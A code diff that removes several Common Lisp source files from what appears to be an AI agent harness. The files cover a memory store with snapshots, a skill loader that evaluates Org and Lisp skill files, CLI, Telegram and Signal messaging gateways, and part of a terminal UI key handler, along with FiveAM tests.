(existing-obj (gethash hash *memory-history*))
(obj (or existing-obj
(make-memory-object
:id id :type type :attributes props :content raw-content
:parent-id parent-id :children child-ids
:version (get-universal-time) :last-sync (get-universal-time)
:hash hash :scope scope))))
(unless existing-obj (setf (gethash hash *memory-history*) obj))
(setf (gethash id *memory-store*) obj)
;; Populate embedding vector for new objects
(when (and raw-content (not existing-obj) (not (memory-object-vector obj)))
(handler-case
(setf (memory-object-vector obj)
(embeddings-compute raw-content))
(error (c)
(log-message "INGEST: Embedding deferred: ~a" c))))
id)))
(defvar *memory-snapshots* nil)
(defun memory-hash-table-copy (hash-table)
"Creates an independent copy of a hash table."
(let ((new-table (make-hash-table :test (hash-table-test hash-table)
:size (hash-table-size hash-table))))
(maphash (lambda (k v) (setf (gethash k new-table) v)) hash-table)
new-table))
(defun snapshot-memory ()
"Creates a CoW snapshot of *memory-store* for rollback recovery."
(let ((snapshot (make-hash-table :test 'equal :size (hash-table-size *memory-store*))))
(maphash (lambda (k v) (setf (gethash k snapshot) (deep-copy-memory-object v))) *memory-store*)
(push (list :timestamp (get-universal-time) :data snapshot) *memory-snapshots*)
(when (> (length *memory-snapshots*) 20)
(setf *memory-snapshots* (subseq *memory-snapshots* 0 20)))
(log-message "MEMORY - CoW Memory snapshot created.")))
(defun rollback-memory (&optional (index 0))
"Restores *memory-store* from a snapshot. INDEX 0 = most recent."
(let ((snapshot (nth index *memory-snapshots*)))
(if snapshot
(progn (setf *memory-store* (memory-hash-table-copy (getf snapshot :data)))
(log-message "MEMORY - Memory rolled back to snapshot ~a" index))
(log-message "MEMORY ERROR - Snapshot ~a not found." index))))
(defvar *memory-snapshot-path* nil)
(defun memory-snapshot-path-ensure ()
"Returns the path to the memory snapshot file, resolving env or default."
(or *memory-snapshot-path*
(let ((env-path (uiop:getenv "MEMORY_SNAPSHOT_PATH")))
(setf *memory-snapshot-path*
(or env-path (namestring (uiop:merge-pathnames* "memory.snap" (user-homedir-pathname))))))))
(defun save-memory-to-disk ()
"Writes the entire memory and history store to disk as a plist."
(let ((path (memory-snapshot-path-ensure)))
(with-open-file (stream path :direction :output :if-exists :supersede :if-does-not-exist :create)
(let ((memory-alist nil) (history-alist nil))
(maphash (lambda (k v) (push (cons k v) memory-alist)) *memory-store*)
(maphash (lambda (k v) (push (cons k v) history-alist)) *memory-history*)
(prin1 (list :memory memory-alist :history-store history-alist) stream)))
(log-message "MEMORY - Saved to ~a" path)))
(defun load-memory-from-disk ()
"Reads memory state from disk and restores *memory-store* and *memory-history*."
(let ((path (memory-snapshot-path-ensure)))
(when (uiop:file-exists-p path)
(handler-case
(with-open-file (stream path :direction :input)
(let ((data (read stream nil)))
(when data
(let ((memory-alist (getf data :memory)) (history-alist (getf data :history-store)))
(setf *memory-store* (make-hash-table :test 'equal :size (length memory-alist)))
(dolist (kv memory-alist) (setf (gethash (car kv) *memory-store*) (cdr kv)))
(setf *memory-history* (make-hash-table :test 'equal :size (length history-alist)))
(dolist (kv history-alist) (setf (gethash (car kv) *memory-history*) (cdr kv)))
(log-message "MEMORY - Loaded from ~a (~a objects)" path (hash-table-size *memory-store*))))))
(error (c) (log-message "MEMORY WARNING - Failed to load snapshot: ~a" c)))))
t)
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-memory-tests
(:use :cl :fiveam :passepartout)
(:export #:memory-suite))
(in-package :passepartout-memory-tests)
(def-suite memory-suite :description "Tests for the Merkle-Tree Memory")
(in-suite memory-suite)
(test merkle-hash-consistency
"Contract 2: identical ASTs produce identical Merkle hashes."
(let* ((ast1 '(:type :HEADLINE :properties (:ID "test-1" :TITLE "Node 1") :contents nil)))
(clrhash passepartout::*memory-store*)
(let ((id1 (ingest-ast ast1)))
(let ((hash1 (memory-object-hash (memory-object-get id1))))
(clrhash passepartout::*memory-store*)
(let ((id2 (ingest-ast ast1)))
(is (equal hash1 (memory-object-hash (memory-object-get id2)))))))))
(test merkle-hash-different
"Contract 2: distinct ASTs produce different Merkle hashes."
(clrhash passepartout::*memory-store*)
(let* ((ast1 '(:type :HEADLINE :properties (:ID "a" :TITLE "Alpha") :contents nil))
(ast2 '(:type :HEADLINE :properties (:ID "b" :TITLE "Beta") :contents nil))
(id1 (ingest-ast ast1))
(id2 (ingest-ast ast2))
(hash1 (memory-object-hash (memory-object-get id1)))
(hash2 (memory-object-hash (memory-object-get id2))))
(is (not (equal hash1 hash2)))))
(test test-ingest-ast-returns-id
"Contract 1: ingest-ast returns a string ID and stores the object."
(clrhash passepartout::*memory-store*)
(let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "ingest-test" :TITLE "Test Node") :contents nil))))
(is (stringp id))
(is (not (null id)))))
(test test-memory-object-get
"Contract 3: memory-object-get retrieves an object by ID after ingest."
(clrhash passepartout::*memory-store*)
(let ((id (ingest-ast '(:type :HEADLINE :properties (:ID "get-test" :TITLE "Retrieve Me") :contents nil))))
(let ((obj (memory-object-get id)))
(is (not (null obj)))
(is (eq :HEADLINE (memory-object-type obj)))
(is (string= "Retrieve Me" (getf (memory-object-attributes obj) :TITLE))))))
(test test-snapshot-and-rollback
"Contract 4+5: snapshot-memory saves state; rollback-memory restores it."
(clrhash passepartout::*memory-store*)
(setf passepartout::*memory-snapshots* nil)
(ingest-ast '(:type :HEADLINE :properties (:ID "snap-a" :TITLE "Pre-snapshot") :contents nil))
(snapshot-memory)
(clrhash passepartout::*memory-store*)
(ingest-ast '(:type :HEADLINE :properties (:ID "snap-b" :TITLE "Post-snapshot") :contents nil))
(rollback-memory 0)
(is (not (null (memory-object-get "snap-a"))))
(is (null (memory-object-get "snap-b"))))

318
lisp/core-skills.lisp
View File

@@ -1,318 +0,0 @@
(in-package :passepartout)
(defun vector-cosine-similarity (v1 v2)
"Computes cosine similarity between two vectors."
(let* ((len1 (length v1)) (len2 (length v2)))
(if (or (zerop len1) (zerop len2))
0.0
(let* ((dot 0.0d0) (n1 0.0d0) (n2 0.0d0))
(dotimes (i (min len1 len2))
(let* ((x (coerce (elt v1 i) 'double-float)) (y (coerce (elt v2 i) 'double-float)))
(incf dot (* x y)) (incf n1 (* x x)) (incf n2 (* y y))))
(if (or (zerop n1) (zerop n2)) 0.0 (/ dot (sqrt (* n1 n2))))))))
(defun VAULT-MASK-STRING (s) (declare (ignore s)) "[MASKED]")
(defvar *VAULT-MEMORY* (make-hash-table :test 'equal))
(defstruct skill name priority dependencies trigger-fn probabilistic-prompt deterministic-fn system-prompt-augment)
(defvar *skill-registry* (make-hash-table :test 'equal))
(defvar *skill-catalog* (make-hash-table :test 'equal)
"Tracks all discovered skill files and their loading state.")
(defstruct skill-entry filename (status :discovered) error-log (load-time 0))
;; Alias: find-triggered-skill → skill-triggered-find
(defun find-triggered-skill (context)
(skill-triggered-find context))
(defun skill-triggered-find (context)
"Returns the highest priority skill whose trigger matches context."
(let ((triggered nil))
(maphash (lambda (name skill)
(declare (ignore name))
(when (and (skill-probabilistic-prompt skill)
(ignore-errors (funcall (skill-trigger-fn skill) context)))
(push skill triggered)))
*skill-registry*)
(first (sort triggered #'> :key #'skill-priority))))
(defmacro defskill (name &key priority dependencies trigger probabilistic deterministic system-prompt-augment)
"Registers a new skill. NAME is a keyword. TRIGGER is a function (context) → bool."
`(setf (gethash (string-downcase (string ,name)) *skill-registry*)
(make-skill :name (string-downcase (string ,name))
:priority (or ,priority 10)
:dependencies ',dependencies
:trigger-fn ,trigger
:probabilistic-prompt ,probabilistic
:deterministic-fn ,deterministic
:system-prompt-augment ,system-prompt-augment)))
(defun skill-dependencies-resolve (skill-name)
"Resolves transitive dependencies. Returns list of skill names in dependency order."
(let ((resolved nil) (seen nil))
(labels ((visit (name)
(unless (member name seen :test #'equal)
(push name seen)
(let ((skill (gethash (string-downcase (string name)) *skill-registry*)))
(when skill
(dolist (dep (skill-dependencies skill)) (visit dep))))
(push name resolved))))
(visit skill-name)
(nreverse resolved))))
(defun skill-metadata-parse (filepath)
"Extracts ID and DEPENDS_ON tags from org file."
(let ((dependencies nil) (id nil) (content (uiop:read-file-string filepath)))
(let ((id-start (search ":ID:" content)))
(when id-start
(let ((id-end (position #\Newline content :start id-start)))
(when id-end (setf id (string-trim " " (subseq content (+ id-start 4) id-end)))))))
(let ((pos 0))
(loop while (setf pos (search "#+DEPENDS_ON:" content :start2 pos))
do (let ((end (position #\Newline content :start pos)))
(when end
(let ((line (string-trim " " (subseq content (+ pos 13) end))))
(dolist (d (uiop:split-string line :separator '(#\Space #\Tab)))
(unless (string= d "") (push d dependencies))))
(setf pos end)))))
(values id (reverse dependencies))))
(defun skill-topological-sort (skills-dir)
"Returns a list of skill filepaths sorted by dependency."
(let* ((org-files (uiop:directory-files skills-dir "*.org"))
(lisp-files (uiop:directory-files skills-dir "*.lisp"))
(all-files (append org-files lisp-files))
(files (remove-if (lambda (f)
(let ((n (pathname-name f)))
(or (string= n "core-defpackage")
(string= n "core-skills")
(string= n "core-communication")
(string= n "core-memory")
(string= n "core-context")
(string= n "core-loop-perceive")
(string= n "core-loop-reason")
(string= n "core-loop-act")
(string= n "core-loop")
(string= n "core-manifest")
(string= n "system-model-router")
(string= n "system-model-explorer")
(string= n "gateway-tui"))))
all-files))
(adj (make-hash-table :test 'equal))
(name-to-file (make-hash-table :test 'equal))
(id-to-file (make-hash-table :test 'equal))
(result nil)
(visited (make-hash-table :test 'equal))
(stack (make-hash-table :test 'equal)))
(dolist (file files)
(let ((filename (pathname-name file)))
(if (uiop:string-suffix-p (namestring file) ".lisp")
(progn
(setf (gethash (string-downcase filename) name-to-file) file)
(unless (gethash (string-downcase filename) adj)
(setf (gethash (string-downcase filename) adj) nil)))
(multiple-value-bind (id deps) (skill-metadata-parse file)
(setf (gethash (string-downcase filename) name-to-file) file)
(when id (setf (gethash (string-downcase id) id-to-file) file))
(setf (gethash (string-downcase filename) adj) deps)))))
(labels ((visit (file)
(let* ((filename (pathname-name file))
(node-key (string-downcase filename)))
(unless (gethash node-key visited)
(setf (gethash node-key stack) t)
(dolist (dep (gethash node-key adj))
(let* ((is-id-p (uiop:string-prefix-p "id:" (string-downcase dep)))
(dep-key (string-downcase (if is-id-p (subseq dep 3) dep)))
(dep-file (if is-id-p
(gethash dep-key id-to-file)
(or (gethash dep-key id-to-file)
(gethash dep-key name-to-file)))))
(when dep-file
(let ((dep-filename (pathname-name dep-file)))
(if (gethash (string-downcase dep-filename) stack)
(error "Circular dependency detected")
(visit dep-file))))))
(setf (gethash node-key stack) nil)
(setf (gethash node-key visited) t)
(push file result)))))
(let ((filenames (sort (mapcar #'pathname-name files) #'string<)))
(dolist (name filenames)
(let ((file (gethash (string-downcase name) name-to-file)))
(when file (visit file)))))
(nreverse result))))
(defun lisp-syntax-validate (code-string)
"Checks if a string contains valid Common Lisp forms."
(handler-case
(let ((*read-eval* nil))
(with-input-from-string (s (format nil "(progn ~a)" code-string))
(loop for form = (read s nil :eof) until (eq form :eof)))
(values t nil))
(error (c) (values nil (format nil "~a" c)))))
(defun skill-package-forms-strip (code-string)
"Removes (in-package :passepartout) forms only — preserves test-package
declarations so embedded test code evaluates in the correct package."
(let ((lines (uiop:split-string code-string :separator '(#\Newline)))
(result ""))
(dolist (line lines)
(let ((trimmed (string-trim '(#\Space #\Tab) line)))
(if (uiop:string-prefix-p "(in-package :passepartout)" trimmed)
(setf result (concatenate 'string result (string #\Newline)))
(setf result (concatenate 'string result line (string #\Newline))))))
result))
(defun tangle-target-extract (line)
"Extracts the value of the :tangle header."
(let ((pos (search ":tangle" line)))
(when pos
(let ((rest (string-tirm '(#\Space #\Tab) (subseq line (+ pos 7)))))
(let ((end (position #\Space rest)))
(if end (subseq rest 0 end) rest))))))
(defun load-skill-from-org (filepath)
"Parses and evaluates Lisp blocks from an Org file."
(let* ((skill-base-name (pathname-name filepath))
(entry (or (gethash skill-base-name *skill-catalog*) (setf (gethash skill-base-name *skill-catalog*) (make-skill-entry :filename skill-base-name)))))
(setf (skill-entry-status entry) :loading)
(handler-case
(let* ((content (uiop:read-file-string filepath))
(lines (uiop:split-string content :separator '(#\Newline)))
(in-lisp-block nil) (collect-this-block nil) (lisp-code "")
(pkg-name (intern (string-upcase (format nil "PASSEPARTOUT.SKILLS.~a" skill-base-name)) :keyword)))
(dolist (line lines)
(let ((clean-line (string-trim '(#\Space #\Tab #\Return) line)))
(cond
((uiop:string-prefix-p "#+begin_src lisp" clean-line)
(setf in-lisp-block t)
(let ((target (tangle-target-extract clean-line)))
(setf collect-this-block (or (null target)
(and (not (search "no" target))
(not (search "/tests" target)))))))
((uiop:string-prefix-p "#+end_src" clean-line)
(setf in-lisp-block nil) (setf collect-this-block nil))
((and in-lisp-block collect-this-block)
(unless (or (uiop:string-prefix-p ":PROPERTIES:" (string-upcase clean-line))
(uiop:string-prefix-p ":END:" (string-upcase clean-line))
(uiop:string-prefix-p ":ID:" (string-upcase clean-line)))
(setf lisp-code (concatenate 'string lisp-code line (string #\Newline))))))))
(if (= (length lisp-code) 0)
(setf (skill-entry-status entry) :ready)
(progn
(multiple-value-bind (valid-p err) (lisp-syntax-validate lisp-code)
(unless valid-p (error err)))
(unless (find-package pkg-name)
(let ((new-pkg (make-package pkg-name :use '(:cl)))) (use-package :passepartout new-pkg)))
(let ((*read-eval* nil) (*package* (find-package pkg-name)))
(log-message "LOADER: Evaluating code for '~a' in package ~a" skill-base-name (package-name *package*))
(eval (read-from-string (format nil "(progn ~a)" lisp-code))))
(let ((target-pkg (find-package :passepartout))
(exported 0)
(seen (make-hash-table :test 'equal)))
(do-symbols (sym (find-package pkg-name))
(when (and (eq (symbol-package sym) (find-package pkg-name))
(or (fboundp sym) (boundp sym))
(not (gethash (symbol-name sym) seen)))
(setf (gethash (symbol-name sym) seen) t)
(incf exported)
(let ((existing (find-symbol (symbol-name sym) target-pkg)))
(when existing (unintern existing target-pkg)))
(import sym target-pkg)
(export sym target-pkg)))
(log-message "LOADER: Exported ~a symbols from ~a to :PASSEPARTOUT"
exported (package-name (find-package pkg-name))))
(setf (skill-entry-status entry) :ready)))
t)
(error (c)
(log-message "LOADER ERROR in skill '~a': ~a" skill-base-name c)
(setf (skill-entry-status entry) :failed) nil))))
(defun load-skill-from-lisp (filepath)
"Loads a .lisp skill file directly, filtering out in-package forms."
(let* ((skill-base-name (pathname-name filepath))
(entry (or (gethash skill-base-name *skill-catalog*) (setf (gethash skill-base-name *skill-catalog*) (make-skill-entry :filename skill-base-name)))))
(setf (skill-entry-status entry) :loading)
(handler-case
(let* ((content (skill-package-forms-strip (uiop:read-file-string filepath)))
(pkg-name (intern (string-upcase (format nil "PASSEPARTOUT.SKILLS.~a" skill-base-name)) :keyword)))
(multiple-value-bind (valid-p err) (lisp-syntax-validate content)
(unless valid-p (error err)))
(unless (find-package pkg-name)
(let ((new-pkg (make-package pkg-name :use '(:cl)))) (use-package :passepartout new-pkg)))
(let ((*read-eval* nil) (*package* (find-package pkg-name)))
(log-message "LOADER: Loading .lisp skill '~a' in package ~a" skill-base-name (package-name *package*))
(with-input-from-string (s content)
(loop for form = (read s nil :eof) until (eq form :eof)
do (handler-case (eval form)
(error (c) (log-message "LOADER WARNING in '~a': ~a" skill-base-name c))))))
(let ((target-pkg (find-package :passepartout))
(exported 0)
(seen (make-hash-table :test 'equal)))
(do-symbols (sym (find-package pkg-name))
(when (and (eq (symbol-package sym) (find-package pkg-name))
(or (fboundp sym) (boundp sym))
(not (gethash (symbol-name sym) seen)))
(setf (gethash (symbol-name sym) seen) t)
(incf exported)
(let ((existing (find-symbol (symbol-name sym) target-pkg)))
(when existing (unintern existing target-pkg)))
(import sym target-pkg)
(ignore-errors (export sym target-pkg))))
(log-message "LOADER: Exported ~a symbols from ~a to :PASSEPARTOUT"
exported (package-name (find-package pkg-name))))
(setf (skill-entry-status entry) :ready))
(error (c)
(log-message "LOADER ERROR in skill '~a': ~a" skill-base-name c)
(setf (skill-entry-status entry) :failed) nil))))
(defun skill-initialize-all ()
"Initializes all skills from the XDG data directory."
(let* ((data-dir (uiop:ensure-directory-pathname (or (uiop:getenv "PASSEPARTOUT_DATA_DIR") (namestring (merge-pathnames ".local/share/passepartout/" (user-homedir-pathname))))))
(skills-dir (merge-pathnames "lisp/" (uiop:ensure-directory-pathname data-dir))))
(unless (uiop:directory-exists-p skills-dir) (return-from skill-initialize-all nil))
(let ((sorted-files (skill-topological-sort skills-dir)))
(log-message "LOADER: Initializing ~a skills..." (length sorted-files))
(dolist (file sorted-files)
(if (uiop:string-suffix-p (namestring file) ".lisp")
(load-skill-from-lisp file)
(load-skill-from-org file)))
(log-message "LOADER: Boot Complete."))))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-boot-tests
(:use :cl :fiveam :passepartout)
(:export #:boot-suite))
(in-package :passepartout-boot-tests)
(def-suite boot-suite :description "Verification of the Skill Engine loader")
(in-suite boot-suite)
(test test-topological-sort-basic
"Contract 2: dependency ordering puts dependencies before dependents."
(let ((tmp-dir "/tmp/passepartout-boot-test/"))
(uiop:ensure-all-directories-exist (list tmp-dir))
(with-open-file (out (merge-pathnames "org-skill-a.org" tmp-dir) :direction :output :if-exists :supersede)
(format out "#+DEPENDS_ON: skill-b-id~%"))
(with-open-file (out (merge-pathnames "org-skill-b.org" tmp-dir) :direction :output :if-exists :supersede)
(format out ":PROPERTIES:~%:ID: skill-b-id~%:END:~%"))
(unwind-protect
(let ((sorted (passepartout::skill-topological-sort tmp-dir)))
(let ((pos-a (position "org-skill-a" sorted :key #'pathname-name :test #'string-equal))
(pos-b (position "org-skill-b" sorted :key #'pathname-name :test #'string-equal)))
(is (< pos-b pos-a))))
(uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t))))
(test test-lisp-syntax-validate-valid
"Contract 1: valid Lisp code passes syntax validation."
(is (eq t (lisp-syntax-validate "(+ 1 2)"))))
(test test-lisp-syntax-validate-invalid
"Contract 1: unbalanced Lisp code fails syntax validation."
(is (null (lisp-syntax-validate "(+ 1 2"))))

35
lisp/gateway-cli.lisp
View File

@@ -1,35 +0,0 @@
(in-package :passepartout)
(defun gateway-cli-input (text)
"Processes raw text from the command line."
(inject-stimulus (list :type :EVENT
:payload (list :sensor :user-input :text text)
:meta (list :source :CLI))))
(defskill :passepartout-gateway-cli
:priority 100
:trigger (lambda (ctx) (eq (getf (getf ctx :meta) :source) :CLI))
:deterministic (lambda (action ctx) (declare (ignore ctx)) action))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-gateway-cli-tests
(:use :cl :passepartout)
(:export #:cli-suite))
(in-package :passepartout-gateway-cli-tests)
(fiveam:def-suite cli-suite :description "Verification of the CLI Gateway")
(fiveam:in-suite cli-suite)
(fiveam:test test-gateway-cli-input-format
"Contract 1: gateway-cli-input injects a properly formed signal without error."
(handler-case
(progn (gateway-cli-input "hello") (fiveam:pass))
(error (c)
(fiveam:fail "gateway-cli-input crashed: ~a" c))))
(handler-case
(progn (gateway-cli-input "test-load") (log-message "CLI: Load-time test OK"))
(error (c) (log-message "CLI: Load-time test FAILED: ~a" c)))

245
lisp/gateway-messaging.lisp
View File

@@ -1,245 +0,0 @@
(in-package :passepartout)
(defvar *gateway-configs* (make-hash-table :test 'equal)
"Maps platform name to plist (:token :thread :interval :enabled)")
(defvar *gateway-registry* (make-hash-table :test 'equal)
"Maps platform name to plist (:poll-fn :send-fn :default-interval)")
(defun telegram-get-token ()
(vault-get-secret :telegram))
(defun telegram-poll ()
"Polls Telegram for new messages and injects them into the harness."
(let* ((token (telegram-get-token)))
(when token
(let* ((last-id (getf (gethash "telegram" *gateway-configs*) :last-update-id 0))
(url (format nil "https://api.telegram.org/bot~a/getUpdates?offset=~a"
token (1+ last-id))))
(handler-case
(let* ((response (dex:get url))
(json (cl-json:decode-json-from-string response))
(updates (cdr (assoc :result json))))
(dolist (update updates)
(let* ((update-id (cdr (assoc :update--id update)))
(message (cdr (assoc :message update)))
(chat (cdr (assoc :chat message)))
(chat-id (cdr (assoc :id chat)))
(text (cdr (assoc :text message))))
(setf (getf (gethash "telegram" *gateway-configs*) :last-update-id) update-id)
(when (and text chat-id)
(log-message "TELEGRAM: Received message from ~a" chat-id)
(unless (ignore-errors (hitl-handle-message text :telegram))
(stimulus-inject
(list :type :EVENT
:meta (list :source :telegram :chat-id (format nil "~a" chat-id))
:payload (list :sensor :user-input :text text))))))))
(error (c) (log-message "TELEGRAM POLL ERROR: ~a" c)))))))
(defun telegram-send (action context)
"Sends a message via Telegram."
(declare (ignore context))
(let* ((payload (getf action :payload))
(meta (getf action :meta))
(chat-id (or (getf meta :chat-id) (getf payload :chat-id) (getf action :chat-id)))
(text (or (getf payload :text) (getf action :text)))
(token (telegram-get-token)))
(when (and token chat-id text)
(handler-case
(let ((url (format nil "https://api.telegram.org/bot~a/sendMessage" token)))
(dex:post url
:headers '(("Content-Type" . "application/json"))
:content (cl-json:encode-json-to-string
`((chat_id . ,chat-id) (text . ,text)))))
(error (c) (log-message "TELEGRAM ERROR: ~a" c))))))
(defun signal-get-account ()
(vault-get-secret :signal))
(defun signal-poll ()
"Polls Signal for new messages and injects them into the harness."
(let ((account (signal-get-account)))
(when account
(handler-case
(let* ((output (uiop:run-program (list "signal-cli" "-u" account "receive" "--json")
:output :string :error-output :string :ignore-error-status t))
(lines (cl-ppcre:split "\\\\n" output)))
(dolist (line lines)
(when (and line (> (length line) 0))
(let* ((json (ignore-errors (cl-json:decode-json-from-string line)))
(envelope (cdr (assoc :envelope json)))
(source (cdr (assoc :source envelope)))
(data-message (cdr (assoc :data-message envelope)))
(text (cdr (assoc :message data-message))))
(when (and source text)
(log-message "SIGNAL: Received message from ~a" source)
(unless (ignore-errors (hitl-handle-message text :signal))
(stimulus-inject
(list :type :EVENT
:meta (list :source :signal :chat-id source)
:payload (list :sensor :user-input :text text)))))))))
(error (c) (log-message "SIGNAL POLL ERROR: ~a" c))))))
(defun signal-send (action context)
"Sends a message via Signal."
(declare (ignore context))
(let* ((payload (getf action :payload))
(meta (getf action :meta))
(chat-id (or (getf meta :chat-id) (getf payload :chat-id) (getf action :chat-id)))
(text (or (getf payload :text) (getf action :text)))
(account (signal-get-account)))
(when (and account chat-id text)
(handler-case
(uiop:run-program (list "signal-cli" "-u" account "send" "-m" text chat-id)
:output :string :error-output :string)
(error (c) (log-message "SIGNAL ERROR: ~a" c))))))
(defun gateway-registry-initialize ()
"Registers all built-in gateway handlers."
(setf (gethash "telegram" *gateway-registry*)
(list :poll-fn #'telegram-poll
:send-fn #'telegram-send
:default-interval 3
:configured nil))
(setf (gethash "signal" *gateway-registry*)
(list :poll-fn #'signal-poll
:send-fn #'signal-send
:default-interval 5
:configured nil)))
(defun gateway-configured-p (platform)
"Returns T if a platform has a stored token."
(let ((config (gethash platform *gateway-configs*)))
(and config (getf config :token))))
(defun gateway-active-p (platform)
"Returns T if a platform's polling thread is alive."
(let ((config (gethash platform *gateway-configs*)))
(and config
(getf config :thread)
(bt:thread-alive-p (getf config :thread)))))
(defun messaging-link (platform token)
"Links a platform with a token and starts polling."
(let ((platform-lc (string-downcase platform)))
(unless (gethash platform-lc *gateway-registry*)
(error "Unknown platform: ~a. Available: ~{~a~^, ~}"
platform (loop for k being the hash-keys of *gateway-registry* collect k)))
(when (or (null token) (zerop (length token)))
(error "Token cannot be empty"))
(log-message "MESSAGING: Linking to ~a..." platform-lc)
(gateway-unlink platform-lc)
(let* ((registry-entry (gethash platform-lc *gateway-registry*))
(interval (or (getf registry-entry :default-interval) 5)))
(setf (gethash platform-lc *gateway-configs*)
(list :token token :interval interval :enabled t))
(vault-set-secret (intern (string-upcase platform-lc) :keyword) token)
(gateway-start platform-lc)
(log-message "MESSAGING: Successfully linked ~a" platform-lc)
(format t "Successfully linked ~a gateway. Token stored securely.~%" platform-lc)
t)))
(defun messaging-unlink (platform)
"Unlinks a platform and stops its polling thread."
(let ((platform-lc (string-downcase platform)))
(gateway-stop platform-lc)
(remhash platform-lc *gateway-configs*)
(log-message "MESSAGING: Unlinked ~a" platform-lc)
(format t "Successfully unlinked ~a gateway.~%" platform-lc)
t))
(defun gateway-start (platform)
"Starts the polling thread for a linked gateway."
(let ((platform-lc (string-downcase platform)))
(let ((config (gethash platform-lc *gateway-configs*)))
(when (and config (getf config :enabled) (not (gateway-active-p platform-lc)))
(let ((poll-fn (getf (gethash platform-lc *gateway-registry*) :poll-fn)))
(when poll-fn
(let ((interval (getf config :interval)))
(setf (getf config :thread)
(bt:make-thread
(lambda ()
(loop
(when (getf (gethash platform-lc *gateway-configs*) :enabled)
(funcall poll-fn))
(sleep interval)))
:name (format nil "passepartout-~a-gateway" platform-lc)))
(log-message "MESSAGING: Started ~a polling (interval: ~as)" platform-lc interval))))))))
(defun gateway-stop (platform)
"Stops the polling thread for a gateway."
(let ((platform-lc (string-downcase platform)))
(let ((config (gethash platform-lc *gateway-configs*)))
(when (and config (getf config :thread))
(when (bt:thread-alive-p (getf config :thread))
(log-message "MESSAGING: Stopping ~a polling thread" platform-lc)
(bt:destroy-thread (getf config :thread))))
(setf (getf config :thread) nil))))
(defun messaging-list ()
"Returns a list of all gateways with their status."
(loop for platform being the hash-keys of *gateway-registry*
collect (let ((configured (gateway-configured-p platform))
(active (gateway-active-p platform)))
(list :platform platform
:configured configured
:active active))))
(defun messaging-list-print ()
"Prints a formatted table of gateways."
(format t "~%")
(format t " ~20@A ~12@A ~10@A~%" "PLATFORM" "CONFIGURED" "STATUS")
(dolist (gw (messaging-list))
(format t " ~20@A ~12@A ~10@A~%"
(getf gw :platform)
(if (getf gw :configured) "yes" "no")
(cond
((getf gw :active) "ACTIVE")
((getf gw :configured) "stopped")
(t "not linked"))))
(format t "~%"))
(defun gateway-start-all ()
"Called at boot to start all configured gateways."
(dolist (config (loop for platform being the hash-keys of *gateway-configs*
collect (list platform (gethash platform *gateway-configs*))))
(destructuring-bind (platform config) config
(when (and (getf config :enabled) (not (gateway-active-p platform)))
(gateway-start platform)))))
(register-actuator :telegram #'telegram-send)
(register-actuator :signal #'signal-send)
(defskill :passepartout-gateway-messaging
:priority 150
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
(gateway-registry-initialize)
(gateway-start-all)
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-gateway-messaging-tests
(:use :cl :fiveam :passepartout)
(:export #:messaging-suite))
(in-package :passepartout-gateway-messaging-tests)
(def-suite messaging-suite :description "Verification of Gateway Messaging")
(in-suite messaging-suite)
(test test-gateway-registry-initialize
"Contract 1: gateway-registry-initialize populates the registry with :configured key."
;; Access the variable via its skill package symbol-value
(let* ((pkg (find-package "PASSEPARTOUT.SKILLS.GATEWAY-MESSAGING"))
(reg-var (and pkg (find-symbol "*GATEWAY-REGISTRY*" pkg))))
(when reg-var
(clrhash (symbol-value reg-var))
(gateway-registry-initialize)
(is (not (zerop (hash-table-count (symbol-value reg-var)))))
(let ((entry (gethash "telegram" (symbol-value reg-var))))
(is (getf entry :poll-fn))
(is (getf entry :send-fn))
(is (getf entry :default-interval))
(is (eq nil (getf entry :configured)))))))

449
lisp/gateway-tui-main.lisp
View File

@@ -1,449 +0,0 @@
(in-package :passepartout.gateway-tui)
(defun on-key (&rest args)
;; Normalize: get-char returns raw ncurses integer codes (e.g. 263 for
;; backspace). Croatoan's code-key + key-name convert them to keywords
;; so the cond below can use eq.
(let* ((raw (car args))
(ch (if (and (integerp raw) (> raw 255))
(let* ((k (code-key raw))
(name (and k (key-name k))))
(or name raw))
raw)))
(cond
;; Enter
((or (eq ch :enter) (eql ch 13) (eql ch 10)
(eql ch #\Newline) (eql ch #\Return))
;; Multi-line: if buffer ends with \, strip it and insert newline
(if (and (st :input-buffer) (eql (first (st :input-buffer)) #\\))
(progn (pop (st :input-buffer))
(push #\Newline (st :input-buffer))
(setf (st :dirty) (list nil nil t)))
(let ((text (string-trim '(#\Space #\Tab) (input-string))))
(when (> (length text) 0)
(push text (st :input-history))
(setf (st :input-hpos) 0)
(setf (st :scroll-offset) 0)
(cond
;; /help command
((string-equal text "/help")
(add-msg :system
"/eval <expr> Evaluate Lisp expression")
(add-msg :system
"/focus <proj> Set project context")
(add-msg :system
"/scope <s> Change scope (memex/session/project)")
(add-msg :system
"/unfocus Pop context stack")
(add-msg :system
"/theme Show current color theme")
(add-msg :system
"/help Show this help")
(add-msg :system
"\\ + Enter Multi-line input"))
;; /theme command
((string-equal text "/theme")
(add-msg :system
(format nil "Theme: user=~a agent=~a system=~a input=~a"
(getf *tui-theme* :user)
(getf *tui-theme* :agent)
(getf *tui-theme* :system)
(getf *tui-theme* :input))))
;; /eval command
((and (>= (length text) 6)
(string-equal (subseq text 0 6) "/eval "))
(handler-case
(let* ((*read-eval* t)
(*package* (find-package :passepartout.gateway-tui))
(r (eval (read-from-string (subseq text 6)))))
(add-msg :system (format nil "=> ~s" r)))
(error (c) (add-msg :system (format nil "=> ✗ ~a" c)))))
;; /focus <project> — set project context
((and (>= (length text) 7)
(string-equal (subseq text 0 7) "/focus "))
(let ((project (string-trim '(#\Space) (subseq text 7))))
(if (and (fboundp 'focus-project) (> (length project) 0))
(progn (funcall 'focus-project project nil)
(add-msg :system (format nil "Focused on project: ~a" project)))
(add-msg :system "Usage: /focus <project-name>"))))
;; /scope <scope> — change context scope
((and (>= (length text) 7)
(string-equal (subseq text 0 7) "/scope "))
(let ((scope-str (string-trim '(#\Space) (subseq text 7))))
(cond
((and (fboundp 'focus-session) (string-equal scope-str "session"))
(funcall 'focus-session)
(add-msg :system "Scope: session"))
((and (fboundp 'focus-project) (string-equal scope-str "project"))
